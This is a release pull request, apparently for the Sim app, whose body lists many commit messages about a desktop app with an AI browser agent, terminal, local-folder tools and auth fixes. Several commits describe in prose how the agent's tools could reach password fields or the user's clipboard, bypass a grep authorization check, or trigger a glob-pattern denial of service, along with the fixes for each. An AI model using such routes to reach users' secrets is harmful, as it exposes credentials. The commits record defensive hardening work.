v0.7.49: outlook calendar, logfire tools, shared folders, desktop security hardening, pi improvements - #6068
Merged
Conversation
) * top on a desk * fix auth stuff * intermediate state * update * local filesystem fixes * Huge * fix banner * ci: disable desktop release + e2e in CI for now The desktop-release reusable-workflow call requested contents: write, which ci.yml's permission grant (contents: read) rejects — invalidating the whole CI workflow. Desktop is tested locally for now; signed builds remain available manually via desktop-release.yml workflow_dispatch, and desktop e2e via its own workflow_dispatch. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * ci: exempt electron from the release-age gate (time-boxed) electron@43.1.1 (published 2026-07-14) is exact-pinned for the desktop shell and blocked by minimumReleaseAge until 2026-07-21. Excluded with a drop-after date, following the vetted-typescript precedent. Verified the rest of the desktop dependency set clears the 7-day gate. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * desktop: brand app icon (packaged + dev Dock) - build/icon.icns regenerated from public/logo/primary/large.png on the Apple icon grid (824px body, r=185.4, centered on a transparent 1024 canvas), compiled with iconutil - dev runs set the same mark via app.dock.setIcon (static/dock-icon.png) — unpackaged Electron otherwise shows its default atom icon - un-ignore apps/desktop/build: it holds electron-builder INPUTS (icon, entitlements), which the /apps/**/build output rule was swallowing — the icns and entitlements were never actually tracked - revert resetAdHocDarwinSignature fuse: it corrupts the packaged binary signature (app killed at launch on arm64); the local ad-hoc deep-sign flow doesn't need it Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * desktop: switch app icon to the b&w brand mark White rounded tile with the black sim wordmark (from public/logo/b&w/large.png), replacing the purple variant. Same Apple icon grid geometry (824px body, r=185.4, 1024 canvas). Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix banner * Fix * clean up launcher * fix oauth * update desktop app * Improve browser use and consolidate desktop app * Desktop app ui cleanup * Updates * Updates * remove dev tool option * Browser updates * Fix electron bug * Browser shortcuts * lifecycle * feat(desktop): SSRF hardening + shared @sim/security/ssrf (re-home of #5763) (#5784) * feat: re-home @sim/security/ssrf + sim SSRF dedup onto dev (clean core) * feat(desktop): re-integrate SSRF guard + hardening onto rewritten dev Re-applies the browser-agent SSRF guard and hardening onto dev's evolved desktop files (dev rewrote session/driver/handoff/index and split out errors.ts/keyboard.ts): - session.ts: agent-partition onBeforeRequest is the SSRF choke point — DNS-resolving check (fail-closed) for document navigations, synchronous literal-IP backstop for subresources. - driver.ts: browser_navigate/browser_open_tab validate via checkAgentUrl for a clean model error; also adopt shared sleep/getErrorMessage and drop the local reimplementations + banner separators. - index.ts: local-only crashReporter (native minidumps, no upload) + CSP fallback wired into the app session. - window.ts: record the crash-dump dir on renderer_gone. - config.ts: drop the local LOCAL_HOSTNAMES set for the shared isLoopbackHostname (also removes the dead bare '::1'). - cdp.ts: per-WebContents callbacks so a background tab's events reach its own driver. - updater.ts: the manual check now surfaces network/manifest failures instead of silently swallowing them. - README: correct the App Sandbox / security-scoped-bookmark note. - electron-mock: webRequest.onBeforeRequest + crashReporter stubs. - api-validation: annotate dev's validated-envelope double-cast; bump the route-count baseline 964→965 for dev's already-merged route (ratchets stay tight; non-Zod and double-cast at baseline). Skipped as moot (dev already did them independently): launcher isVisible removal, decideStartRoute param drop, local-filesystem clear() removal. * chore(desktop): biome format install-local.ts (pre-existing dev lint failure) * refactor: apply audit cleanup (reuse + simplify) - domain-check: drop the redundant isIpLiteral guard (isLoopbackIp already validates and returns false for non-literals). - session.ts: use shared getErrorMessage instead of the local error ternary (the file already imports it). - tray.ts: use shared sleep() instead of a hand-rolled setTimeout promise. - updater.ts: distinguish the synchronous-throw log from the async-rejection log on the manual update check. * refactor: /simplify pass + review fixes - url-guard: bound the SSRF dns.lookup with a 5s deadline (fails closed on timeout) so a slow/hung resolver can't suspend the check and the onBeforeRequest callback indefinitely (Greptile P2); + test. - Finish the reuse consolidation the earlier pass missed: session.ts second error ternary → getErrorMessage; the bracket-strip idiom → unwrapIpv6Brackets in input-validation.ts, input-validation.server.ts (×2), onepassword/utils.ts (fixes the check:utils banned-pattern CI failure). - driver: document why the tool-level checkAgentUrl coexists with the onBeforeRequest enforcement seam (clean model error; loadURL rejection is swallowed). * fix(desktop): swallow late DNS rejection after the SSRF lookup timeout (Cursor) * refactor: split pure host helpers into @sim/security/hostnames (ipaddr-free) (#5787) unwrapIpv6Brackets + isLoopbackHostname move to a new ipaddr-free sub-export so client code can share them without pulling ipaddr.js into the browser bundle. ssrf.ts re-exports both, so its server/desktop consumers are unchanged. This eliminates the duplicate isLoopbackHostname in apps/sim/lib/core/utils/urls.ts: urls.ts and its three client importers (mcp queries, oauth probe, oauth url-validation) now use the single shared definition. * Desktop app fullscreen mode * fix(copilot): report closed browser session as a distinct terminal tool error A dead agent browser session used to answer every browser tool with an indistinguishable generic ~30s IPC timeout, which the model retried indefinitely (one turn: 59 minutes of failing browser_snapshot calls). - When the desktop app has reported the session closed, page-dependent browser tools fail immediately with an explicit session-closed message (and sessionClosed: true in the result data) instead of burning the full timeout per call. browser_navigate / browser_open_tab / browser_list_tabs still run, since they can start a new session. - A failure whose session died mid-call (e.g. during a takeover) gets the same tag appended, so the model learns the terminal cause rather than seeing a plain timeout. Companion to mothership's tool_failure_loop circuit breaker. * fix(desktop): route Cmd+W to focused browser tabs * fix(desktop): reserve macOS title bar safe area * fix(desktop): limit title bar safe area to login * fix install script * feat(desktop): improve local folder settings * feat(desktop): harden local capabilities and window chrome * fix(invitations): live refetches * fix(desktop): make manual update checks use updater state * fix(desktop): review fixes — OAuth error handling, query freshness, invitations Findings from an end-to-end review of the desktop work, fixed and verified. OAuth connect/login handoff: - Add a friendly /oauth-error landing page + onAPIError.errorURL so provider Cancel/Deny (which Better Auth redirects before the flow state is parsed) no longer dead-ends on a 404; re-initiating supersedes the idle loopback. - Stop a post-consent failure from reporting success (drop the baked-in errorCallbackURL param that collided with Better Auth's appended code; coerce an array error defensively on the complete page). - Guard the desktop connect listener with the same context-age check the web routers use, so an abandoned flow can't mislabel a later completion. - Clear an orphaned pending handoff when a loopback re-bind fails. Query freshness (desktop refetchOnWindowFocus): - Pin refetchOnWindowFocus off on queries that seed editable forms (environment/secrets, credential detail, schedules) so a background focus refetch can't drop an unsaved draft, and on the useWorkflowStates fan-out so returning to a large table doesn't fire N heavy envelope fetches. All no-ops on web (default already false). Invitations (in-app pending invitations): - Map accept/decline failures to friendly copy instead of raw machine codes. - Invalidate subscription + refresh session on accept (parity with the email path); reconcile the list on failure (onSettled) so dead rows drop. - Gate the modal's query on open so it no longer fetches on every app load. CI: - Wrap the latest-mac.yml update-feed route in withRouteHandler and allowlist it as a non-boundary route (input-less, YAML) so the contract audit passes. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * updates * fix(desktop): use workflow colors for environment icons * fix(desktop): use orange for dev icon border * fix(login): change one time token generation to GET * improvement(desktop): reveal local folders from settings Local-folder rows rendered their glyph at 20px inside the bordered credential tile — chrome meant for brand and logo icons — above a static subtitle that repeated what the section already said. The row now shows a plain 14px folder icon and the folder name alone. Clicking a row reveals the folder in the OS file manager through a new reveal_mount bridge op, which resolves the opaque localfs URI to a live grant and requires an active user gesture, matching the other grant mutations. The absolute host path still never crosses the bridge. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01C54QHj4WPV777Fq2yRwkcb * improvement(desktop): row actions menu for folder grants, larger version text Revoke moves from an always-visible chip into the canonical RowActionsMenu, matching the MCP server rows. The version value moves off text-caption onto text-sm — it was rendering at the subtitle size, which also shrank the "x -> y on restart" line that matters most. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01C54QHj4WPV777Fq2yRwkcb * feat(desktop): improve browser tab usability * fix(desktop): thicken environment icon borders * fix(desktop): strengthen environment icon borders * feat(desktop): support multiple windows and harden the agent browser Sim can now open many full windows in one process. The embedded browser is still a single native surface, so exactly one window owns it at a time. Ownership transfers only to the focused window: without that rule, two windows both showing the browser reclaim it on every bounds heartbeat and re-parent the native view back and forth roughly once a second while Sim sits in the background, where no window is focused. A destroyed owner is now forgotten rather than left rejecting updates from the window actually on screen, and a closing window's release is honoured even though Electron destroys it before emitting `closed` — previously that release was dropped and the next layout could re-parent the browser onto a window that never asked for it. The agent's password boundary is now enforced rather than assumed. It was treated as settled but had four ways through: `browser_press_key` sent trusted CDP keystrokes to whatever held focus, `clickElement` focused credential fields, `readActiveElementState` returned a preview of any focused value, and snapshots printed the contents of revealed password fields. Detection also used `instanceof HTMLInputElement`, which is realm-bound and returned false for inputs inside same-origin iframes — the nested login forms that need it most. Detection now matches on tagName/type/autocomplete, the keystroke guard runs in the driver where trusted CDP input is visible, and typing re-checks the real target before inserting, since login forms advance focus between the username and password steps. Signing out clears the embedded browser's profile. Its cookies, cache, pinned tabs, browsing trail, and reopen list all survived sign-out, so the next account on the machine inherited the previous user's live sessions. Partition hardening is keyed per session instead of a process-wide flag, which would have left a second partition with no permission handlers, no SSRF filtering, and no download blocking — silently, and still type-checking. Adds the first tests for page-functions.ts, including a serialization contract check: those functions ship to the page as String(fn), so a reference to module scope passes every other test and fails only against a real page. * fix(desktop): close clipboard, glob DoS, and authorization holes Found by a full audit of the desktop app against origin/staging. Each of these was measured or asserted rather than reasoned about. The agent could read the user's system clipboard. `browser_press_key('Cmd+V')` pasted it into a focused field and the next `browser_snapshot` returned it as an ordinary `value` — snapshots redact password fields, not pasted content, and clipboards routinely hold a password copied out of a manager. The credential guard added earlier did not catch it: `insertedTextFor` returns undefined whenever `meta` is set, so `Cmd+V` was classified as not text-inserting. `Control+V` reached the same place because the macOS normalizer rewrites it. Clipboard combos are now refused before dispatch rather than by withholding the CDP `commands` array, since off macOS these are Blink-native and a key event alone still performs them. Copy and cut go too — they clobber the user's clipboard as a side effect. A glob pattern could freeze the whole app. Micromatch compiles to a backtracking regex whose cost is exponential in wildcard count: measured against a single 46-character path with the options this code passes, ten wildcards took 2.7s and twelve took 43s, once per scanned entry, in one synchronous call that the surrounding abort checks never get to interrupt. That is the main process, so every window, the menu bar and the tray freeze with Force Quit as the only recourse, and the pattern is model-supplied. `safeRegex` reports the generated source as safe, so it was no defense. Patterns are now bounded at six wildcards, which keeps the worst case near 2ms while leaving headroom over real patterns (which top out around four). A timing probe backs it up, with a budget loose enough that JIT warmth and machine load cannot make it fire on a legitimate pattern — a tight budget proved flaky in both directions. The grep authorization guard compared `request.pattern !== args.pattern`, so a tool call carrying no pattern made that `undefined !== undefined` and the guard passed — grep then fell back to searching the renderer's own `query` across the whole grant. `include` and `query` were never bound at all, letting a renderer widen a search or silently narrow results the agent believes are complete. The sibling glob case already had the `typeof` check, which is what made the asymmetry clearly unintentional. The IPC sender gate used `startsWith`, the exact pattern `isAppOrigin` warns against 200 lines away ("that prefix-matches lookalike hosts"). It was safe only because of a trailing slash. It now uses that helper, which also fixes a false negative on an explicitly stated default port. * fix(desktop): stop double sign-out, stranded retries, and redundant writes Three correctness bugs from the same audit. Menu Sign Out tore down the session directly instead of going through the lifecycle coordinator, so it skipped the in-progress guard — and its own cookie removal then tripped the coordinator's cookie watcher into a second concurrent teardown, duplicating the sign_out event, the storage clear, and the /login load. Teardown also existed as two divergent copies. The coordinator now exposes `signOut()` and owns the single path; the menu just calls it. That `tearDownSession` is no longer imported in index.ts is the check that it landed. Offline recovery could strand permanently. The auto-retry loop stops itself before calling `retry()`, and `retry()` never re-armed the load watchdog, which is started once per window. So if a retried load hung — precisely what the watchdog is for — no load event fired and no timer remained anywhere; the user sat on the offline page until the window was closed. `retry()` now re-arms before loading. Pinned tabs were persisted on `did-navigate` and `did-navigate-in-page` for every tab, pinned or not, with no change check, and the settings store compares with `===` so a freshly built array never matched. Any single-page app therefore triggered a synchronous mkdir + write + rename of the whole settings file on the main thread on every route change — writing `[]` over `[]` when nothing was pinned. The list is now fingerprinted, seeded at restore from what is already on disk so the first navigation after launch is not a write either. * fix(desktop): leaked timers, silent grep failures, and crashed tabs Second pass on the audit backlog, all verified against tests that fail without the change. Every browser tool call leaked a timer. The watchdog raced the tool against `sleep()`, which cannot be cancelled, so when the tool won — the normal case — the timer stayed pending for the full window, up to two minutes, dozens deep during an agent run. Replaced with a cancellable timeout cleared in a `finally`; a test asserts the fake-timer count is unchanged across a call. An invalid grep regex reported "no matches". A SyntaxError from `new RegExp` returned an empty result set, which tells the model the string appears nowhere in the user's files — a factual claim it acts on, when the search never ran. It now fails as INVALID_REQUEST. The `safeRegex` guard moved out of the try while there, since it was only inside it to be re-thrown. A crashed tab wedged the session. Tabs left `tabs` only via close, so a dead renderer stayed forever: `activeTab()` filtered it out while `activeTabId` still named it, making `requireTab()` report "no page is open" with other tabs open, and the panel went blank with no recovery. `render-process-gone` now drops the tab, advances the active id, and reports session closure when it was the last. `probeSession` cleared its abort timer inline after the await, so a thrown fetch — the case the function exists for — skipped it. Moved to `finally`, which also brings the body read inside the deadline. One vanished file failed a whole directory listing: `Promise.all` over per-entry `lstat` turned a single ENOENT into NOT_FOUND for the directory. Churning directories like build output would intermittently fail to list. Removed the `session-lifecycle -> browser-agent/driver` import edge, which dragged the entire browser subsystem and its module-load `nativeTheme` listener into the auth path to reach one four-line function. `clearBrowserProfile` is now a required dependency wired from index.ts, which already owns both sides. Also deleted `attachSessionLifecycle`, a compatibility wrapper with zero callers. Added a channel-parity test between the preload bridge and the IPC table. They share ~20 channel names as bare string literals with nothing tying them together, so a typo on either side is a silently dead feature that type-checks and ships. Verified it fails on a one-character change. * fix(desktop): reach framed elements and harden the loopback sign-in Two behaviour fixes from the audit backlog. Interaction with same-origin iframes was broken. The snapshot deliberately walks into those frames and hands the model ids for what it finds, but every interaction then tested `instanceof HTMLInputElement` against the top frame's constructors — false for nodes owned by a frame, because element wrappers are realm-bound. So the driver reported a real `<input>` as "not a text input", which took out framed login forms and editors that put a contenteditable body in an iframe, such as TinyMCE. Framed selects reported "not a select" and framed clicks skipped focus entirely. Checks now compare `tagName` or duck-type the method being called, matching the realm-safe approach the credential guard already used. The native value setter is taken from the element's own realm: calling the top frame's setter on a frame's node throws "Illegal invocation". Snapshot value reporting follows the same rule, which is safe because the credential redaction above it is realm-safe and runs first. The loopback sign-in server could be cancelled by anything on the machine. It validated only the shape of the returned state, then tore the one-shot server down and dispatched, leaving the real constant-time comparison to the callback. So a request carrying any well-formed state killed an in-flight sign-in — and the port is reachable by any local process and by any page the user has open via a no-CORS GET, which cannot read the response but does not need to, since the side effect is the kill. The state is now checked before anything is torn down, and a Host that does not name the loopback is refused, which closes the DNS-rebinding shape. * refactor(desktop): drop duplicated helpers and stop logging query strings Net -3 lines, and one of them was a real leak. `navigation.ts` and `windows.ts` truncated URLs for their log lines with a bare `.slice(0, 200)`, which keeps the query string — the five other log sites in the app go through `scrubUrl` for exactly that reason. Tokens and signed parameters live in query strings, so a blocked-URL warning could write one to disk. Both now scrub. `local-filesystem.ts` carried a private `isRecord` byte-identical to `isRecordLike` in `@sim/utils/object`, and four more sites inlined the same check. All now use the shared helper, which also tightens three of them: the inline versions omitted the array exclusion, so an array satisfied a check that then cast it to a record. `tray.ts` hand-rolled slice-plus-ellipsis, the case `@sim/utils/string`'s `truncate` exists for. Titles between 58 and 60 characters now get an ellipsis where they previously did not — cosmetic, in a tray menu label. Removed the `getTabsState` passthrough in the driver, a one-line re-export of the session's own function, and renamed the session-level clear to `clearProfileStorage`. `clearBrowserProfile` existed twice under one name, the driver's being the composite that also clears the browsing-trail registry; index.ts was already aliasing at the import to tell them apart. Two things deliberately not done. The hand-rolled semver in updater.ts stays: replacing it needs `semver` plus `@types/semver` as new declared dependencies in the Electron main process, and the 90 lines it would delete are already covered by eight assertions that I verified match the library's behaviour case for case. Note the same prerelease comparison is duplicated in apps/sim/lib/desktop/min-version.ts, so a future consolidation should do both. No barrel for browser-agent either: routing `security-guards.ts` through one to reach a single leaf function would pull the whole browser subsystem into its module graph, which is the edge just removed from session-lifecycle. * refactor(desktop): move browser compositing out of the session module session.ts held five responsibilities in one flat namespace: 1,061 lines, 29 exports, 26 mutable module-level bindings. For contrast local-filesystem.ts is a comparable 1,125 lines with two exports and no ambient state — size was never the problem, the shared mutable namespace was. Compositing is the part worth isolating. Where the native view sits, when it is visible, which window owns it, the renderer bounds lease, and the occlusion snapshot are the most intricate logic in the browser and are almost entirely separable from tab bookkeeping. They now live in panel.ts (342 lines) and session.ts is 792, with 15 bindings instead of 26. The two modules were mutually dependent, which is what makes this kind of split go wrong. Rather than events or a shared store, panel.ts takes the four things it needs from the session through one PanelHost passed to initPanel — the same shape as the existing initSession — so the import graph is one-way and there is no new indirection to trace. Tab changes reach the panel by the session calling layout(), exactly as before. Two behaviours became explicit rather than implicit in the move: detachIfAttached replaces callers reading `attachedView` to decide whether a closing tab owns the surface, and isPanelVisible replaces `panelBounds !== null`. Nothing about the split is verified by the split itself, so the bounds lease got characterization tests first. It had none — there was not a single fake timer in the suite — despite being the mechanism that hides the view when the renderer crashes or wedges. Both tests were confirmed to fail against a broken lease before the refactor began. The other 47 tests were not rewritten: only the module their calls address changed, which is the useful signal that behaviour was preserved. Deliberately not split further. Focus tracking stays with tabs because it keys off tab ids, and profile teardown stays put; separating either would be taxonomy rather than decoupling. * refactor: drop the legacy local_* filesystem tool shim Granted folders are addressed through the ordinary VFS: the model calls read/grep/glob against paths under user-local/, exactly as it does for workspace files. A parallel local_read / local_grep / local_glob / local_list / local_stat / local_mount_directory / local_list_mounts / local_forget_mount / local_stage_file toolset existed alongside it, recognized but never advertised, so an in-flight checkpoint written by an older desktop build could still finish. There are no older desktop builds. apps/desktop is at version 0.0.0, the only artifacts are a local 0.0.0 build, MIN_DESKTOP_VERSION is '0.0.0' meaning no floor, and the app does not exist on staging at all — the v0.7.x tags are the web app's. Nothing can have persisted a checkpoint naming these tools, and nothing advertises them: they are absent from the generated tool catalog and from mothership's catalog. The shim was defending against a past that never happened. Removes the name table, the legacy request builder, the server-side LEGACY_READ_ONLY_TOOLS allowlist, the five local_* branches in the desktop authorization switch, and nine display labels. isDesktopFilesystemToolCall collapsed into isUserLocalVfsToolCall, which it had become a synonym for. Two tests went with it. One asserted that local_list_mounts routes to the desktop; the test immediately after it already covers the real path, an ordinary read against a user-local path. The other asserted that legacy names cannot open a folder picker, revoke a grant, or upload bytes — that property now holds because no such tool name exists, which is a stronger guarantee than refusing one. * refactor(copilot): remove the plan/changelog VFS artifacts and workflow aliases These beta surfaces are not a direction we are taking, so they come out rather than staying behind a flag. Gone: the workflow alias modules (path resolution, DB-backed resolver, .plans/.changelogs backing provisioning), the alias materialization in the copilot VFS, the alias write paths in resource-writer and workspace_file, the sandbox alias mounts in function_execute, the reserved backing-path guards across mkdir/mv/create, and the alias resolution in the chat home file picker. xlsx survives but changes owner. It was gated twice across the repo boundary: mothership's xlsx-writing flag gates the skill and prompt, while Sim gated the compile path on mothership-beta. Those live in separate AppConfig applications, so an operator had to flip two flags in two consoles, and off-hosted Sim fell back to the MOTHERSHIP_BETA_FEATURES secret while the mothership half stayed in Sim Cloud's AppConfig — split-brain across an ownership boundary. Mothership controls whether the model ever learns xlsx exists, so if it is never offered it is never requested and the second chokepoint only created a way for the two halves to disagree. Sim's gate is removed; xlsx-writing is now the single owner. With its last consumer gone, the mothership-beta flag and the MOTHERSHIP_BETA_FEATURES secret are deleted. The two entries in the infra repo are harmless until removed separately: they only inject an env var nothing reads, and createEnv runs with skipValidation. The reserved-system-file/folder concept goes with the aliases, since it existed only to hide the backing rows. includeReservedSystemFiles and includeReservedSystemFolders are removed rather than left as options every caller passes true to. backingVfsPath is removed for the same reason — nothing sets it once aliases are gone, so it was an always-undefined field on tool results. Test coverage is preserved rather than deleted with the feature. resource-writer.test.ts looked alias-only but three of its eleven cases cover the generic create path that survives; those are kept and the file retitled. Two open_resource tests and one output-path test used alias-shaped strings while asserting generic behavior; retargeted or dropped where a sibling already covers it. * refactor(copilot): remove the dead planArtifact column plumbing copilot_chats.plan_artifact has no writer and no reader that does anything with it. No client sends it, nothing renders it, and its whole history is fork-chat and duplicate-chat plumbing faithfully copying a column that is always null — the one change that might have populated it (mothership v0.8) was reverted. Removed from the schema, the copilot API contract, the chat lifecycle column sets, the fork route, superuser import, the data drain, the update-messages write path, and the legacy chat detail response. No migration here on purpose. The column stays in the database, orphaned and null; dropping it is a separate deliberate step rather than something that rides along with a code cleanup. Note that the next drizzle-kit generate will now want to emit the DROP COLUMN, and check-migrations-safety will ask for it to be annotated — that is the right moment to decide, not now. Mothership never saw this field; it is Sim-side only. * chore(copilot): sync the tool catalog for load_skill Picks up the new load_skill tool plus the grep description that dropped its stale reference to VFS "plans" entries. Generated from copilot/contracts/tool-catalog-v1.json. * refactor(copilot): follow the load_custom_tool rename to load_mcp_tool Mothership renamed the loader once it was clear MCP was the only catalog kind it could match, and dropped the single-valued `type` parameter. The two prompt strings that teach the model the call shape are updated to load_mcp_tool({ name }). load_custom_tool stays in the UI hide-list next to load_agent_skill so tool rows in historical transcripts keep rendering; nothing emits it any more. * chore(copilot): sync the tool catalog and hide load_skill in the UI load_integration_tool and list_integration_tools now publish route go/sync instead of sim/async. Nothing changes in Sim's behavior — they always ran in Go; the contract had been wrong. load_skill joins the hidden tools. It is the same shape as the other loaders already there: the agent pulling in a reference guide before doing the work is a step toward the action, not the action. Sim's display-coverage test caught that a newly added visible tool had no title or completed verb, which is the guard working. * fix(auth): handle session expiry in the app, not the desktop shell The workspace auth gate is a Server Component, so it only re-evaluates on a server render. A session that expired or was revoked mid-visit left the SPA mounted and silently 401ing every request, with nothing to redirect it. The desktop shell had grown its own detector for this: a 401 listener over /api/*, a session probe, and a native "your session has expired" prompt. It could only infer session state from cookie events and HTTP statuses, and it inferred wrong — it fired on ordinary sign-outs (in-flight requests 401 during teardown) and on launching already signed out (the window still shows the restored route while the web app redirects). Those were nearly all of its firings, since a 30-day sliding window means real expiry is rare. Generalizes the impersonation-expired screen instead, which already had the right shape: it keys off the session query settling to null after a session that was live. A signed-out visitor never arms it, and `error` is excluded so an offline blip cannot read as an expiry. The session query now refetches on focus for every session, not just impersonation ones, so returning to a window that slept through its session re-checks it. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01C54QHj4WPV777Fq2yRwkcb * fix(copilot): port the scheduled-task and VFS fixes onto staging-v4 Replays the sim-side prompt-audit work on top of staging-v4. complete_scheduled_task was filtered out of the execute route's response payload, so an until_complete job could report completion and still be rescheduled; the post-run bookkeeping now also refuses to revive a job that already completed. Also clamps browser_wait_for's timeout the way the desktop agent does, and replaces the oversized-read error's offset/limit advice, which sent the model into a guaranteed retry loop. * feat(desktop): let the model actually see browser screenshots browser_screenshot captured an image and then threw it away. The renderer stripped the data URL and substituted a note, and the tool's own description told the model not to bother: "Dead end for perception." So the agent was blind to anything not expressible as DOM text — canvas, charts, maps, images, rendering and layout bugs. The copilot has carried the machinery for this all along. A tool result shaped as { content, attachment: { type: "image", source: { type: "base64", ... } } } is serialized into a real image content block, with the media type sniffed from the bytes rather than trusted from the declaration, and degraded to a text stub when the routed model has no vision so the provider never 400s. The screenshot result is now reshaped into that contract instead of discarded. A malformed data URL still falls back to a note rather than shipping an attachment the provider would reject. Captures are bounded to a 1024px longest edge at quality 70. CDP clip.scale is relative to CSS pixels, so this also sidesteps the device pixel ratio — an unclipped capture on a retina display returns a 2x image, which was several hundred kilobytes for no legibility the model could use. The description is rewritten to bias toward visual questions only: appearance, layout, rendering, charts, canvas. Reading content or finding something to click stays with browser_snapshot, which is cheaper and returns the element ids a screenshot cannot. That distinction is structural, not just advisory — having seen the page does not let the agent act on it. Companion change in mothership generalizes the tool-result inline-budget exemption from "the read tool" to "any result carrying a model attachment". Keyed on the tool name, an oversized screenshot fell through to the artifact branch: the image was replaced by a reference the model cannot open, and the result still reported success. Silent, and it would have hit almost every call. * fix(desktop): polish browser panel and environment tray icon * fix(desktop): enlarge environment tray markers * fix(desktop): smooth environment tray markers * refactor(copilot): consolidate resource mutation tools * chore(copilot): clean up VFS follow-ups * fix(desktop): round the dev tray marker * feat(desktop): add integrated terminal resources * Fix electron app resize causing glitchy browser frames * feat(copilot): add persistent tool permissions * fix(copilot): retire stale tool permission prompts * fix(desktop): keep terminal rendering responsive * fix(desktop): preserve resource rendering continuity * feat(desktop): add browser tab duplication actions * feat(desktop): add terminal tab context actions * fix(desktop): allow browser agent localhost navigation * feat(desktop): add tmux-backed terminal sessions * fix(desktop): restore terminal scrollback per view * chore(copilot): sync updated wait tool contract * poll terminal session state for non regular shells * add terminal right click menu * feat(desktop): add terminal handoff and key batching * fix(desktop): reserve the traffic-light lane from the platform macOS draws the window controls itself, at a fixed physical size, above all web content. The page renders full-bleed beneath them, so it has to reserve that lane — and it did so with five hardcoded CSS pixel values. CSS pixels scale with page zoom and the OS-drawn lights do not, so zooming out shrank the reservation until the lights were drawn over the sidebar toggle, and the header row below sat inside their band. Electron's `titleBarOverlay` publishes the controls' real geometry to the page as the `titlebar-area-*` env vars, which Chromium rescales per zoom so a reservation derived from them holds its physical size. Measured across zoom 0.58-1.2, the reserved area stays within ~0.6 DIP, the residual coming from env values being quantized to whole CSS pixels. Every lane length now derives from those vars, so the login route and the mothership content offset were fixed without being touched — they already read `--desktop-title-bar-height`. Two of the replaced constants were also simply wrong: the platform reports the lane at 38px and the safe area at 81px, against the hand-measured 36 and 83. The toggle keeps a constant physical size beside the lights, expressed as a proportion of the lane rather than in pixels: a px literal would scale with zoom, and calc cannot divide a length by a length to recover a scale factor. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01C54QHj4WPV777Fq2yRwkcb * fix(desktop): avoid transient terminal tab labels * feat(copilot): attach browser and terminal tab context * feat(desktop): close tmux panes from terminal tools * fix(desktop): keep terminal tab icons stable * add right click to browser and cleanup terminal right click options * fix(desktop): reduce hidden panel background work * perf(desktop): shrink browser panel snapshots * perf(desktop): reduce terminal main process overhead * perf(terminal): pause work for hidden sessions * fix session arch for desktop * fix(desktop): replace exited terminal sessions * feat(copilot): persist desktop resources across chats * fix(emcn): keep resource tab widths consistent * fix(copilot): restore active client panels * feat(desktop): import Chrome browser data * fix(copilot): close resources before chat creation * feat(desktop): suggest imported browser sites * fix(desktop): autofill identifier-first sign-ins * fix resizing issues + cookies source * fix visits marking * chore(db): drop branch migrations ahead of staging merge 0264/0265 on this branch collide with staging's 0264-0270 on both the journal idx slots and the meta snapshot filenames. Reverting the migration artifacts to the merge-base lets staging's chain merge cleanly; schema.ts keeps the copilot changes and drizzle-kit regenerates a single migration on top of 0270 after the merge. Co-Authored-By: Claude <noreply@anthropic.com> * feat(db): regenerate copilot tool-permission migration on top of staging Replaces the branch's old 0264/0265 (dropped pre-merge so staging's 0264-0270 chain could apply cleanly) with a single 0271 generated against staging's schema: the permission-decision enum, the two copilot_async_tool_calls decision columns, and copilot_chats.auto_allowed_tools. Deliberately does NOT drop copilot_chats.plan_artifact. The branch removed every reader, but the currently-deployed code still SELECTs that column, so dropping it in the same deploy breaks the old app version during blue/green overlap — `check:migrations` flags it for exactly this reason, and the honest fix is to defer rather than annotate around it. The column is retained in schema.ts marked @deprecated; drop it in a follow-up once this has rolled out. Also in this commit, all fallout from the merge itself: - pinned-fetch/revoke tests: their private-IP stub moved to @sim/security/ssrf alongside the source change. Worth noting the stub exists because the suite's 203.0.113.10 is TEST-NET-3, which the real classifier correctly calls reserved — the old stub had been quietly disagreeing with production. - materialize-file test: dropped the reserved-system-folder case, which covered the workflow-alias backing folders this branch deleted. - api-validation route ratchet 977 -> 983 (this branch's new routes). Co-Authored-By: Claude <noreply@anthropic.com> * add cmd f * review pass * chore(db): drop branch migration ahead of staging merge Both sides independently claimed idx 0271, so the snapshot and journal would conflict add/add. Ours is plain additive DDL that drizzle regenerates from schema.ts; staging's is a hand-written CONCURRENTLY index build that cannot be regenerated. Dropping ours and re-generating on top of staging's is the only order that preserves both. schema.ts is deliberately untouched — it is the source of the regeneration. Co-Authored-By: Claude <noreply@anthropic.com> * chore(db): drop branch migration ahead of staging merge Both sides independently claimed idx 0272, so the snapshot and journal would conflict add/add. Ours is plain additive DDL (one enum, two columns, one jsonb default) that drizzle regenerates from schema.ts; staging's is a hand-written migration with DO blocks and CONCURRENTLY index builds that cannot be regenerated. Dropping ours and re-generating on top of staging's is the only order that preserves both. schema.ts is deliberately untouched — it is the source of the regeneration. Co-Authored-By: Claude <noreply@anthropic.com> * style(db): biome-format the regenerated migration metadata drizzle-kit emits _journal.json and the snapshot with expanded arrays, which biome check rejects. The merge commit used --no-verify, so lint-staged never formatted them and CI's lint step failed on exactly these two files. Whitespace only — both files are byte-identical under `jq -S -c`. Co-Authored-By: Claude <noreply@anthropic.com> * fix(desktop): pin the platform in the OS-auth tests promptForSecret gates Touch ID on process.platform === 'darwin'. The suite mocked electron's systemPreferences but inherited the runner's real platform, so the eight biometric expectations passed on a Mac and failed on Linux CI, where every call fell through to the confirmation dialog instead. Pins the platform per-test and restores it after, and adds a case for the gate itself — the branch whose absence from the suite is what let this through. Co-Authored-By: Claude <noreply@anthropic.com> * fix(desktop): refine environment dock icons * fix(desktop): align packaged environment icons * fix(desktop): keep packaged dock icon rendering consistent * fix(desktop): origin urls for prod --------- Co-authored-by: Siddharth Ganesan <siddharthganesan@gmail.com> Co-authored-by: Claude Fable 5 <noreply@anthropic.com> Co-authored-by: Waleed <walif6@gmail.com> Co-authored-by: Theodore Li <theo@sim.ai>
…act (#6040) * fix(db): encode Date binds in raw sql, document the fetch_types contract * fix(testing): drop template placeholders from mock error message for biome
* feat(outlook): add Calendars.ReadWrite and MailboxSettings.Read scopes
Extend the shared outlook OAuth service with delegated Graph calendar scopes so
